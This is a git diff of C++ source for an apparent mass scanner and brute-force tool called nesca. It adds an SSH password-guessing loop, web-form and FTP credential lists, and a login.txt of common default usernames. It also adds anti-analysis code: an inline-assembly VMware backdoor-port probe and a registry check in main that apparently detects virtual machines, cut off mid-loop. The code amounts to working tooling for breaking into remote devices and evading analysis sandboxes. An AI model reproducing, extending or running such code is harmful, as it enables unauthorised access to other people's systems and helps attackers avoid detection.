sprintf(fileName, "./result_files-%s", Utils::getStartDate().c_str());
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL);
|
bool res = CreateDirectoryA(fileName, NULL);
|
||||||
if(!res) stt->doEmitionRedFoundData("Failed to crete results.");
|
if (!res) {
|
||||||
|
int err = GetLastError();
|
||||||
|
if (err != 183)
|
||||||
|
{
|
||||||
|
while (!res) {
|
||||||
|
stt->doEmitionRedFoundData("Failed to create \"" + QString::fromLocal8Bit(fileName) + "\" Err: " + QString::number(err));
|
||||||
|
res = CreateDirectoryA(fileName, NULL);
|
||||||
|
err = GetLastError();
|
||||||
|
Sleep(1000);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
stt->doEmitionYellowFoundData("Directory \"" + QString::fromLocal8Bit(fileName) + "\" already exists. Err: " + QString::number(err));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
stt->doEmitionGreenFoundData("Result directory \"" + QString::fromLocal8Bit(fileName) + "\" successfully created.");
|
||||||
|
}
|
||||||
#else
|
#else
|
||||||
struct stat str = { 0 };
|
struct stat str = { 0 };
|
||||||
if (stat(RESULT_DIR_NAME, &str) == -1) {
|
if (stat(fileName, &str) == -1) {
|
||||||
mkdir(RESULT_DIR_NAME, 0700);
|
mkdir(fileName, 0700);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void MainStarter::start(const char* targets, const char* ports) {
|
/* This array will store all of the mutexes available to OpenSSL. */
|
||||||
|
static MUTEX_TYPE *mutex_buf = NULL;
|
||||||
|
|
||||||
|
static void locking_function(int mode, int n, const char * file, int line)
|
||||||
|
{
|
||||||
|
if (mode & CRYPTO_LOCK)
|
||||||
|
MUTEX_LOCK(mutex_buf[n]);
|
||||||
|
else
|
||||||
|
MUTEX_UNLOCK(mutex_buf[n]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static unsigned long id_function(void)
|
||||||
|
{
|
||||||
|
return ((unsigned long)THREAD_ID);
|
||||||
|
}
|
||||||
|
|
||||||
|
int thread_setup(void)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
mutex_buf = (MUTEX_TYPE*)malloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE));
|
||||||
|
if (!mutex_buf)
|
||||||
|
return 0;
|
||||||
|
for (i = 0; i < CRYPTO_num_locks(); i++)
|
||||||
|
MUTEX_SETUP(mutex_buf[i]);
|
||||||
|
CRYPTO_set_id_callback(id_function);
|
||||||
|
CRYPTO_set_locking_callback(locking_function);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int thread_cleanup(void)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
if (!mutex_buf)
|
||||||
|
return 0;
|
||||||
|
CRYPTO_set_id_callback(NULL);
|
||||||
|
CRYPTO_set_locking_callback(NULL);
|
||||||
|
for (i = 0; i < CRYPTO_num_locks(); i++)
|
||||||
|
MUTEX_CLEANUP(mutex_buf[i]);
|
||||||
|
free(mutex_buf);
|
||||||
|
mutex_buf = NULL;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
void MainStarter::start(const char* targets, const char* ports) {
|
||||||
|
saveBackup = true;
|
||||||
curl_global_init(CURL_GLOBAL_ALL);
|
curl_global_init(CURL_GLOBAL_ALL);
|
||||||
|
|
||||||
|
thread_setup();
|
||||||
|
|
||||||
createResultFiles();
|
createResultFiles();
|
||||||
|
|
||||||
if (loadTargets(targets) == -1 ||
|
if (loadTargets(targets) == -1 ||
|
||||||
@ -1319,13 +1438,15 @@ void MainStarter::start(const char* targets, const char* ports) {
|
|||||||
else if (gMode == 1) startDNSScan();
|
else if (gMode == 1) startDNSScan();
|
||||||
else startImportScan();
|
else startImportScan();
|
||||||
|
|
||||||
|
saveBackup = false;
|
||||||
|
|
||||||
stt->doEmitionYellowFoundData("Stopping threads...");
|
stt->doEmitionYellowFoundData("Stopping threads...");
|
||||||
stt->doEmitionChangeStatus("Stopping...");
|
|
||||||
|
|
||||||
while (cons > 0 || jsonArr->size() > 0) Sleep(2000);
|
while (cons > 0 || jsonArr->size() > 0) Sleep(2000);
|
||||||
|
|
||||||
|
thread_cleanup();
|
||||||
|
|
||||||
stt->doEmitionGreenFoundData("Done. Saved <u>" + QString::number(saved) +
|
stt->doEmitionGreenFoundData("Done. Saved <u>" + QString::number(saved) +
|
||||||
"</u> of <u>" + QString::number(found) + "</u> nodes.");
|
"</u> of <u>" + QString::number(found) + "</u> nodes.");
|
||||||
stt->doEmitionChangeStatus("Idle");
|
|
||||||
stt->doEmitionKillSttThread();
|
stt->doEmitionKillSttThread();
|
||||||
}
|
}
|
@ -30,9 +30,8 @@ public:
|
|||||||
MainStarter()
|
MainStarter()
|
||||||
{
|
{
|
||||||
horLineFlag = false;
|
horLineFlag = false;
|
||||||
PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0;
|
PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
|
||||||
AnomC1 = 0, baCount = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0,
|
camerasC1 = 0, baCount = 0, filtered = 0, Overl = 0, Alive = 0, Activity = 0, saved = 0, other = 0;
|
||||||
WF = 0;
|
|
||||||
BrutingThrds = 0;
|
BrutingThrds = 0;
|
||||||
found = 0;
|
found = 0;
|
||||||
gTargets = 0;
|
gTargets = 0;
|
||||||
@ -77,6 +76,18 @@ public:
|
|||||||
delete[]wfLoginLst;
|
delete[]wfLoginLst;
|
||||||
wfLoginLst = NULL;
|
wfLoginLst = NULL;
|
||||||
};
|
};
|
||||||
|
if (ftpPassLst != NULL)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
|
||||||
|
delete[]ftpPassLst;
|
||||||
|
ftpPassLst = NULL;
|
||||||
|
};
|
||||||
|
if (ftpLoginLst != NULL)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
|
||||||
|
delete[]ftpLoginLst;
|
||||||
|
ftpLoginLst = NULL;
|
||||||
|
};
|
||||||
if (sshlpLst != NULL)
|
if (sshlpLst != NULL)
|
||||||
{
|
{
|
||||||
for (int i = 0; i < MaxSSHPass; ++i) delete[]sshlpLst[i];
|
for (int i = 0; i < MaxSSHPass; ++i) delete[]sshlpLst[i];
|
||||||
|
56
SSHAuth.cpp
56
SSHAuth.cpp
@ -84,17 +84,19 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int check_ssh_pass(const char *user, const char *pass,
|
int check_ssh_pass(const int rowIndex, const char *user, const char *pass,
|
||||||
const char *userPass, const char *host, int port,
|
const char *userPass, const char *host, int port,
|
||||||
std::string *buffer, const char *banner) {
|
std::string *buffer, const char *banner) {
|
||||||
int res = -1;
|
int res = _sshConnect(user, pass, host, port);
|
||||||
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(userPass) + "@" + QString(host) + ":" + QString::number(port));
|
|
||||||
|
|
||||||
res = _sshConnect(user, pass, host, port);
|
|
||||||
|
|
||||||
if(res == 0)
|
if(res == 0)
|
||||||
{
|
{
|
||||||
stt->doEmition_BAGreenData("[+] SSH: " + QString(userPass) + "@" + QString(host));
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(host) + ":" + QString::number(port), QString(userPass) + "@" + QString(host), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(userPass) + "@" + QString(host), "OK");
|
||||||
|
}
|
||||||
buffer->append(userPass);
|
buffer->append(userPass);
|
||||||
buffer->append("@");
|
buffer->append("@");
|
||||||
buffer->append(host);
|
buffer->append(host);
|
||||||
@ -112,6 +114,8 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
|||||||
char temp[64] = {0};
|
char temp[64] = {0};
|
||||||
char *ptr1 = 0;
|
char *ptr1 = 0;
|
||||||
int res = -1;
|
int res = -1;
|
||||||
|
int rowIndex = -1;
|
||||||
|
int passCounter = 0;
|
||||||
|
|
||||||
for(int i = 0; i < MaxSSHPass; ++i)
|
for(int i = 0; i < MaxSSHPass; ++i)
|
||||||
{
|
{
|
||||||
@ -126,23 +130,59 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
|||||||
|
|
||||||
strncpy(login, temp, ptr1 - temp);
|
strncpy(login, temp, ptr1 - temp);
|
||||||
strcpy(pass, ptr1 + 1);
|
strcpy(pass, ptr1 + 1);
|
||||||
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
|
|
||||||
|
if (BALogSwitched) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
rowIndex = nesca_3::addBARow(QString(host) + ":" + QString::number(port),
|
||||||
|
QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else { rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
|
|
||||||
|
res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner);
|
||||||
ZeroMemory(login, sizeof(login));
|
ZeroMemory(login, sizeof(login));
|
||||||
ZeroMemory(pass, sizeof(pass));
|
ZeroMemory(pass, sizeof(pass));
|
||||||
ZeroMemory(temp, sizeof(temp));
|
ZeroMemory(temp, sizeof(temp));
|
||||||
|
|
||||||
if(res == 0)
|
if(res == 0)
|
||||||
{
|
{
|
||||||
if(i == 0) return -2; //Failhit
|
if (i == 0) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAILHIT");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAILHIT");
|
||||||
|
}
|
||||||
|
return -2; //Failhit
|
||||||
|
}
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
else if(res == -2)
|
else if(res == -2)
|
||||||
{
|
{
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return -2;
|
return -2;
|
||||||
};
|
};
|
||||||
|
|
||||||
Sleep(500);
|
Sleep(500);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
29
STh.cpp
29
STh.cpp
@ -1,6 +1,18 @@
|
|||||||
#include "STh.h"
|
#include "STh.h"
|
||||||
#include "externData.h"
|
#include "externData.h"
|
||||||
|
|
||||||
|
//BA TablelistView
|
||||||
|
void STh::doEmitionChangeBARow(int index, QString loginPass, QString percentage)
|
||||||
|
{
|
||||||
|
emit stt->signalChangeBARow(index, loginPass, percentage);
|
||||||
|
}
|
||||||
|
|
||||||
|
void STh::doEmitionUpdatePB2()
|
||||||
|
{
|
||||||
|
cIndex = 0;
|
||||||
|
emit stt->updPB2();
|
||||||
|
}
|
||||||
|
|
||||||
void STh::doEmitionShowRedVersion()
|
void STh::doEmitionShowRedVersion()
|
||||||
{
|
{
|
||||||
emit stt->showRedVersion();
|
emit stt->showRedVersion();
|
||||||
@ -29,18 +41,7 @@ void STh::doEmitionFoundData(QString str)
|
|||||||
{
|
{
|
||||||
emit stt->changeFoundData(str);
|
emit stt->changeFoundData(str);
|
||||||
}
|
}
|
||||||
void STh::doEmitionBAData(QString str)
|
|
||||||
{
|
|
||||||
emit stt->changeBAData(str);
|
|
||||||
}
|
|
||||||
void STh::doEmition_BARedData(QString str)
|
|
||||||
{
|
|
||||||
emit stt->changeRedBAData(str);
|
|
||||||
}
|
|
||||||
void STh::doEmition_BAGreenData(QString str)
|
|
||||||
{
|
|
||||||
emit stt->changeGreenBAData(str);
|
|
||||||
}
|
|
||||||
void STh::doEmitionRedFoundData(QString str)
|
void STh::doEmitionRedFoundData(QString str)
|
||||||
{
|
{
|
||||||
emit stt->changeRedFoundData(str);
|
emit stt->changeRedFoundData(str);
|
||||||
@ -57,10 +58,6 @@ void STh::doEmitionDebugFoundData(QString str)
|
|||||||
{
|
{
|
||||||
emit stt->changeDebugFoundData(str);
|
emit stt->changeDebugFoundData(str);
|
||||||
}
|
}
|
||||||
void STh::doEmitionChangeStatus(QString str)
|
|
||||||
{
|
|
||||||
emit stt->changeStatus(str);
|
|
||||||
}
|
|
||||||
void STh::doEmitionKillSttThread()
|
void STh::doEmitionKillSttThread()
|
||||||
{
|
{
|
||||||
emit stt->killSttThread();
|
emit stt->killSttThread();
|
||||||
|
29
STh.h
29
STh.h
@ -14,31 +14,44 @@ class STh : public QThread
|
|||||||
private:
|
private:
|
||||||
QString target = "";
|
QString target = "";
|
||||||
QString ports = "";
|
QString ports = "";
|
||||||
|
QList<int> coloredIndexes;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
|
void addColoredIndex(int index)
|
||||||
|
{
|
||||||
|
coloredIndexes.push_back(index);
|
||||||
|
}
|
||||||
|
QList<int> getColoredIndexes()
|
||||||
|
{
|
||||||
|
return coloredIndexes;
|
||||||
|
}
|
||||||
|
|
||||||
void setMode(short mode);
|
void setMode(short mode);
|
||||||
void setTarget(QString target);
|
void setTarget(QString target);
|
||||||
void setPorts(QString ports);
|
void setPorts(QString ports);
|
||||||
|
|
||||||
|
static int baModelSize();
|
||||||
|
|
||||||
static void doEmitionDataSaved(bool status);
|
static void doEmitionDataSaved(bool status);
|
||||||
static void doEmitionStartScanIP();
|
static void doEmitionStartScanIP();
|
||||||
static void doEmitionStartScanDNS();
|
static void doEmitionStartScanDNS();
|
||||||
static void doEmitionStartScanImport();
|
static void doEmitionStartScanImport();
|
||||||
static void doEmitionAddIncData(QString ip, QString str);
|
static void doEmitionAddIncData(QString ip, QString str);
|
||||||
static void doEmitionAddOutData(QString str);
|
static void doEmitionAddOutData(QString str);
|
||||||
static void doEmition_BAGreenData(QString str);
|
|
||||||
static void doEmition_BARedData(QString str);
|
|
||||||
static void doEmitionFoundData(QString str);
|
static void doEmitionFoundData(QString str);
|
||||||
static void doEmitionRedFoundData(QString str);
|
static void doEmitionRedFoundData(QString str);
|
||||||
static void doEmitionGreenFoundData(QString);
|
static void doEmitionGreenFoundData(QString);
|
||||||
static void doEmitionYellowFoundData(QString);
|
static void doEmitionYellowFoundData(QString);
|
||||||
static void doEmitionChangeStatus(QString);
|
|
||||||
static void doEmitionKillSttThread();
|
static void doEmitionKillSttThread();
|
||||||
static void doEmitionBAData(QString str);
|
|
||||||
static void doEmitionDebugFoundData(QString);
|
static void doEmitionDebugFoundData(QString);
|
||||||
static void doEmitionShowRedVersion();
|
static void doEmitionShowRedVersion();
|
||||||
static void doEmitionUpdateArc(unsigned long gTargets);
|
static void doEmitionUpdateArc(unsigned long gTargets);
|
||||||
static void doEmitionBlockButton(bool value);
|
static void doEmitionBlockButton(bool value);
|
||||||
|
//BA TablelistView
|
||||||
|
static void doEmitionChangeBARow(int index, QString loginPass, QString percentage);
|
||||||
|
static void doEmitionUpdatePB2();
|
||||||
|
|
||||||
signals:
|
signals:
|
||||||
public: signals: void showRedVersion();
|
public: signals: void showRedVersion();
|
||||||
@ -46,20 +59,20 @@ public: signals: void startScanIP();
|
|||||||
public: signals: void startScanDNS();
|
public: signals: void startScanDNS();
|
||||||
public: signals: void startScanImport();
|
public: signals: void startScanImport();
|
||||||
public: signals: void signalDataSaved(bool);
|
public: signals: void signalDataSaved(bool);
|
||||||
public: signals: void changeGreenBAData(QString);
|
public: signals : void updPB2();
|
||||||
public: signals: void changeRedBAData(QString);
|
|
||||||
public: signals: void changeBAData(QString);
|
|
||||||
public: signals: void changeFoundData(QString);
|
public: signals: void changeFoundData(QString);
|
||||||
public: signals: void changeRedFoundData(QString);
|
public: signals: void changeRedFoundData(QString);
|
||||||
public: signals: void changeGreenFoundData(QString);
|
public: signals: void changeGreenFoundData(QString);
|
||||||
public: signals: void changeYellowFoundData(QString);
|
public: signals: void changeYellowFoundData(QString);
|
||||||
public: signals: void changeDebugFoundData(QString);
|
public: signals: void changeDebugFoundData(QString);
|
||||||
public: signals: void changeStatus(QString);
|
|
||||||
public: signals: void killSttThread();
|
public: signals: void killSttThread();
|
||||||
public: signals: void sIncData(QString, QString);
|
public: signals: void sIncData(QString, QString);
|
||||||
public: signals : void sOutData(QString);
|
public: signals : void sOutData(QString);
|
||||||
public: signals : void signalUpdateArc(unsigned long);
|
public: signals : void signalUpdateArc(unsigned long);
|
||||||
public: signals : void signalBlockButton(bool);
|
public: signals : void signalBlockButton(bool);
|
||||||
|
//BA TablelistView
|
||||||
|
public: signals : void signalChangeBARow(int, QString, QString);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
void run();
|
void run();
|
||||||
|
30
Utils.cpp
30
Utils.cpp
@ -1,6 +1,36 @@
|
|||||||
#include "Utils.h"
|
#include "Utils.h"
|
||||||
#include <sstream>
|
#include <sstream>
|
||||||
|
|
||||||
|
std::string Utils::startDate;
|
||||||
|
|
||||||
|
void Utils::emitScaryError() {
|
||||||
|
__asm{
|
||||||
|
push edx
|
||||||
|
push ecx
|
||||||
|
push ebx
|
||||||
|
|
||||||
|
mov eax, 'VMXh'
|
||||||
|
mov ebx, 0
|
||||||
|
mov ecx, 10
|
||||||
|
mov edx, 'VX'
|
||||||
|
|
||||||
|
in eax, dx
|
||||||
|
cmp ebx, 'VMXh'
|
||||||
|
|
||||||
|
pop ebx
|
||||||
|
pop ecx
|
||||||
|
pop edx
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void Utils::saveStartDate() {
|
||||||
|
startDate = std::string(QDate::currentDate().toString().toLocal8Bit().data());
|
||||||
|
}
|
||||||
|
std::string Utils::getStartDate() {
|
||||||
|
return startDate;
|
||||||
|
}
|
||||||
|
|
||||||
int Utils::isDigest(const std::string *buffer) {
|
int Utils::isDigest(const std::string *buffer) {
|
||||||
if (Utils::ustrstr(buffer, "401 authorization") != -1
|
if (Utils::ustrstr(buffer, "401 authorization") != -1
|
||||||
|| Utils::ustrstr(buffer, "401 unauthorized") != -1
|
|| Utils::ustrstr(buffer, "401 unauthorized") != -1
|
||||||
|
5
Utils.h
5
Utils.h
@ -5,6 +5,7 @@
|
|||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
#include <qstring.h>
|
#include <qstring.h>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
#include <qdatetime.h>
|
||||||
|
|
||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
@ -23,6 +24,7 @@ private:
|
|||||||
};
|
};
|
||||||
|
|
||||||
class Utils {
|
class Utils {
|
||||||
|
private: static std::string startDate;
|
||||||
public:
|
public:
|
||||||
static int isDigest(const std::string *buffer);
|
static int isDigest(const std::string *buffer);
|
||||||
|
|
||||||
@ -82,6 +84,9 @@ public:
|
|||||||
static std::string getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2);
|
static std::string getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2);
|
||||||
static std::vector<std::string> splitToStrVector(const std::string &s, char delim);
|
static std::vector<std::string> splitToStrVector(const std::string &s, char delim);
|
||||||
static std::vector<int> splitToIntVector(const std::string &s, char delim);
|
static std::vector<int> splitToIntVector(const std::string &s, char delim);
|
||||||
|
static void saveStartDate();
|
||||||
|
static std::string getStartDate();
|
||||||
|
static void emitScaryError();
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // UTILS_H
|
#endif // UTILS_H
|
||||||
|
@ -28,8 +28,6 @@ lopaStr WFClass::parseResponse(const char *ip,
|
|||||||
&& Utils::ustrstr(*buffer, std::string("forbidden")) == -1
|
&& Utils::ustrstr(*buffer, std::string("forbidden")) == -1
|
||||||
) {
|
) {
|
||||||
|
|
||||||
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
|
|
||||||
QString(login) + ":" + QString(pass));
|
|
||||||
strcpy(result.login, login);
|
strcpy(result.login, login);
|
||||||
strcpy(result.pass, pass);
|
strcpy(result.pass, pass);
|
||||||
return result;
|
return result;
|
||||||
@ -56,6 +54,7 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
|||||||
lopaStr result = {"UNKNOWN", "", ""};
|
lopaStr result = {"UNKNOWN", "", ""};
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
int firstCycle = 0;
|
int firstCycle = 0;
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
char login[128] = {0};
|
char login[128] = {0};
|
||||||
char pass[32] = {0};
|
char pass[32] = {0};
|
||||||
@ -84,10 +83,17 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
|||||||
Connector con;
|
Connector con;
|
||||||
if(con.nConnect(nip, port, &buffer) <= 0) return result;
|
if(con.nConnect(nip, port, &buffer) <= 0) return result;
|
||||||
|
|
||||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
|
if (BALogSwitched) {
|
||||||
"; login/pass: "+ QString(login) + ":" + QString(pass) +
|
if (rowIndex == -1) {
|
||||||
"; - Progress: (" +
|
//stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
|
||||||
QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
// QString(login) + ":" + QString(pass),
|
||||||
|
// QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
result = parseResponse(ip, port, &buffer, formVal, login, pass);
|
result = parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||||
if(i == 0) ++i;
|
if(i == 0) ++i;
|
||||||
@ -108,6 +114,7 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
|||||||
lopaStr result = {"UNKNOWN", "", ""};
|
lopaStr result = {"UNKNOWN", "", ""};
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
int firstCycle = 0;
|
int firstCycle = 0;
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
char login[128] = {0};
|
char login[128] = {0};
|
||||||
char pass[32] = {0};
|
char pass[32] = {0};
|
||||||
@ -138,9 +145,17 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
|||||||
Connector con;
|
Connector con;
|
||||||
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
|
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
|
||||||
|
|
||||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
|
if (BALogSwitched) {
|
||||||
QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
if (rowIndex == -1) {
|
||||||
QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
//stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
|
||||||
|
// QString(login) + ":" + QString(pass),
|
||||||
|
// QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
++passCounter;
|
++passCounter;
|
||||||
|
|
||||||
return parseResponse(ip, port, &buffer, formVal, login, pass);
|
return parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||||
|
@ -24,7 +24,7 @@ public:
|
|||||||
if(gMaxBrutingThreads > 0) {
|
if(gMaxBrutingThreads > 0) {
|
||||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
||||||
|
|
||||||
++WF;
|
//++WF;
|
||||||
|
|
||||||
++BrutingThrds;
|
++BrutingThrds;
|
||||||
//BConInc();
|
//BConInc();
|
||||||
|
20
externData.h
20
externData.h
@ -24,20 +24,26 @@ extern QJsonArray *jsonArr;
|
|||||||
extern unsigned long long gTargetsNumber;
|
extern unsigned long long gTargetsNumber;
|
||||||
extern long long unsigned int gTargets;
|
extern long long unsigned int gTargets;
|
||||||
extern std::atomic<int> cons, BrutingThrds, gThreads;
|
extern std::atomic<int> cons, BrutingThrds, gThreads;
|
||||||
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst;
|
extern char **loginLst, **passLst,
|
||||||
|
**wfLoginLst, **wfPassLst,
|
||||||
|
**ftpLoginLst, **ftpPassLst,
|
||||||
|
**sshlpLst;
|
||||||
extern bool trackerOK, globalScanFlag, MapWidgetOpened,
|
extern bool trackerOK, globalScanFlag, MapWidgetOpened,
|
||||||
widgetIsHidden, gNegDebugMode,
|
widgetIsHidden, gNegDebugMode,
|
||||||
gDebugMode, horLineFlag, gPingNScan, gShuffle,
|
gDebugMode, horLineFlag, gPingNScan, gShuffle,
|
||||||
BALogSwitched;
|
BALogSwitched;
|
||||||
extern int found, indexIP, gMode,
|
extern int found, indexIP, gMode,
|
||||||
MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass,
|
MaxPass, MaxLogin,
|
||||||
|
MaxWFLogin, MaxWFPass,
|
||||||
|
MaxFTPLogin, MaxFTPPass,
|
||||||
|
MaxSSHPass,
|
||||||
gMaxBrutingThreads,
|
gMaxBrutingThreads,
|
||||||
gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH,
|
gTimeOut, PieCamerasC1, PieOther, PieBA, PieSSH,
|
||||||
AnomC1, filtered, Overl, Lowl, Alive, saved,
|
camerasC1, filtered, Overl, Alive, saved,
|
||||||
Susp,
|
other,
|
||||||
WF,
|
|
||||||
baCount,
|
baCount,
|
||||||
ssh, globalPinger, gPingTimeout;
|
ssh, globalPinger, gPingTimeout,
|
||||||
|
cIndex;
|
||||||
extern unsigned int Activity;
|
extern unsigned int Activity;
|
||||||
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
|
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
|
||||||
trcPort[32], trcSrvPortLine[32],
|
trcPort[32], trcSrvPortLine[32],
|
||||||
|
3522
finder.cpp
3522
finder.cpp
File diff suppressed because it is too large
Load Diff
38
login.txt
38
login.txt
@ -0,0 +1,38 @@
|
|||||||
|
admin
|
||||||
|
root
|
||||||
|
123123
|
||||||
|
123456
|
||||||
|
12345
|
||||||
|
ubnt
|
||||||
|
|
||||||
|
|
||||||
|
cisco
|
||||||
|
super
|
||||||
|
meinsm
|
||||||
|
monitor
|
||||||
|
test
|
||||||
|
support
|
||||||
|
1234
|
||||||
|
administrator
|
||||||
|
qwerty
|
||||||
|
recovery
|
||||||
|
system
|
||||||
|
naadmin
|
||||||
|
master
|
||||||
|
guest
|
||||||
|
backup
|
||||||
|
0000
|
||||||
|
1111
|
||||||
|
123321
|
||||||
|
123321123
|
||||||
|
111111
|
||||||
|
222222
|
||||||
|
333333
|
||||||
|
444444
|
||||||
|
666666
|
||||||
|
888888
|
||||||
|
88888888
|
||||||
|
999999
|
||||||
|
777777
|
||||||
|
555555
|
||||||
|
111222333
|
53
main.cpp
53
main.cpp
@ -1,11 +1,54 @@
|
|||||||
#include "nesca_3.h"
|
#include "nesca_3.h"
|
||||||
#include <QApplication>
|
#include <QApplication>
|
||||||
#include <qfontdatabase.h>
|
#include <qfontdatabase.h>
|
||||||
|
#include <QMessageBox.h>
|
||||||
|
#include <qpixmap.h>
|
||||||
|
#include "Utils.h"
|
||||||
|
|
||||||
int main(int argc, char *argv[])
|
int main(int argc, char *argv[])
|
||||||
{
|
{
|
||||||
|
bool isWM = false;
|
||||||
|
DWORD Type;
|
||||||
|
char value[512] = { 0 };
|
||||||
|
char resultString[512] = { 0 };
|
||||||
|
HKEY hkey;
|
||||||
|
if (RegOpenKey(HKEY_LOCAL_MACHINE,
|
||||||
|
TEXT("HARDWARE\\DESCRIPTION\\System"), &hkey) == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
DWORD value_length = 512;
|
||||||
|
RegQueryValueEx(hkey, L"VideoBiosVersion", 0, &Type, (BYTE*)&value, &value_length);
|
||||||
|
RegCloseKey(hkey);
|
||||||
|
|
||||||
|
for (int i = 0, j = 0; i < 256; ++i, j += 2) {
|
